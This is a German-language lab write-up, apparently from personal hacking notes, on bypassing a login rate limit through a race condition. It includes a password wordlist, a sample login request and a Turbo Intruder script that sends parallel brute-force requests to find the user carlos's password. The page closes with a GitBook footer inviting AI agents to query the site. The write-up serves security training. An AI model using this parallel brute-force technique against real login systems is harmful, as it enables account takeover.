> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/race-conditions/rate-limit-bypass-via-race-condition.md).

# Umgehung des Rate Limits via Rennbedingung

### Umgehen von Rate-Limits durch Race Conditions

Der Authentifizierungsmechanismus richtet eine **Begrenzung der Anzahl der Versuche** ein, um Brute-Force-Angriffe zu verhindern. / Allerdings \*\* wird beobachtet\*\*, dass dieser Schutz aufgrund einer **Race Condition** bei der Verarbeitung gleichzeitiger Anfragen umgangen werden kann.

Lab-Ziel:

* Nutze die Race Condition, um die Begrenzung zu umgehen.
* Benutzerpasswort finden **carlos**.
* Mit der Anwendung verbinden.
* Auf das Administrationspanel zugreifen.
* Benutzer löschen **carlos**.

#### Verwendete Wortliste

```bash
123123
abc123
football
monkey
letmein
shadow
master
666666
qwertyuiop
123321
mustang
123456
Passwort
12345678
qwerty
123456789
12345
1234
111111
1234567
dragon
1234567890
michael
x654321
superman
1qaz2wsx
baseball
7777777
121212
000000
```

#### Beobachtung des Verbindungsmechanismus

Beim Senden des Login-Formulars \*\* wird beobachtet\*\*, dass eine POST-Anfrage mit den folgenden Parametern übertragen wird:

* `CSRF`
* `Benutzernamen`
* `Passwort`

```bash
csrf=8SbZ2jaR8pdJ0Q4r0XNqmTeVk5GJHxsx&username=wiener&password=peter
```

<figure><img src="/files/96c01c862c0c7a69d3be3d941ad7b6ee7b52848d" alt=""><figcaption></figcaption></figure>

Nach mehreren aufeinanderfolgenden falschen Versuchen, **erscheint die Meldung**:

> *Sie haben zu viele falsche Anmeldeversuche unternommen. Bitte versuchen Sie es in XX Sekunden erneut.*

Dies bestätigt das Vorhandensein einer **serverseitigen Rate-Limitierung**.

<figure><img src="/files/e33a123a69d9e1dd041a9c3112a73e34c7bec2af" alt=""><figcaption></figcaption></figure>

#### Umgehung durch Race Condition (manuelle Tests)

\*Einrichtung einer Gruppe "race condition".

<figure><img src="/files/f6ec9172efe330af8fe7e333ced0b34e1341cda3" alt=""><figcaption></figcaption></figure>

* Dupliziere den Tab **10-mal**.

<figure><img src="/files/1ce1450d240784e69b44e1af33d4cd35753060f9" alt=""><figcaption></figcaption></figure>

* Sende alle Anfragen **parallel**.

<figure><img src="/files/951a0bb2876f08f816997fcfefd11031c2fe4486" alt=""><figcaption></figcaption></figure>

Test :

```bash
csrf=ab5gEWlWPKDUCJCQAlxrxR42dLIhJCWR&username=wiener&password=test
```

Beobachtung: Beim parallelen Senden **tritt die Sperrung nicht auf** in diesem Fall.

<figure><img src="/files/f6f54129ba6328e429945d606fa2b03b879f8a5b" alt=""><figcaption></figcaption></figure>

#### Paralleler Brute-Force-Angriff auf Carlos mit Turbo Intruder

* Installiere und verwende den **Turbo Intruder** Erweiterung.

<figure><img src="/files/cab93dc84c0f635132d56b91dc1ea63a2ace7c90" alt=""><figcaption></figcaption></figure>

* Aus der Login-Anfrage: **An Turbo Intruder senden**.

<figure><img src="/files/f6bd20dce2132162b0d829a4194fc58f35e61c38" alt=""><figcaption></figcaption></figure>

* Wähle das **`race single packet attack.py`** Skript.

<figure><img src="/files/9dc09bf3fac0deb65b134d4d5c39cd90af51d010" alt=""><figcaption></figcaption></figure>

* Kopiere die Wortliste in die **Zwischenablage**, und führe dann mit diesem Skript aus:

```python
def queueRequests(target, wordlists):

    # wenn das Ziel HTTP/2 unterstützt, verwende engine=Engine.BURP2, um den Single-Packet-Angriff auszulösen
    # wenn nur HTTP/1 unterstützt wird, verwende stattdessen Engine.THREADED oder Engine.BURP
    # weitere Informationen findest du unter https://portswigger.net/research/smashing-the-state-machine
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2
                           )


    passwords = wordlists.clipboard
    # das 'gate'-Argument hält einen Teil jeder Anfrage zurück, bis openGate aufgerufen wird
    # wenn du einen negativen Zeitstempel siehst, hat der Server geantwortet, bevor die Anfrage abgeschlossen war
    for password in passwords:
        engine.queue(target.req, password, gate='race1')

    # sobald jede mit 'race1' markierte Anfrage in die Warteschlange gestellt wurde
    # rufe engine.openGate() auf, um sie synchron zu senden
    engine.openGate('race1')


def handleResponse(req, interesting):
    table.add(req)

```

#### Beobachtetes Ergebnis

Beim parallelen Testen aller Werte liefert ein Passwort einen \*\*HTTP-Code 302\*\* (Hinweis auf einen erfolgreichen Login).

<figure><img src="/files/77213218629481da391efb80f370653886c6bced" alt=""><figcaption></figcaption></figure>

\*\*


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/race-conditions/rate-limit-bypass-via-race-condition.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
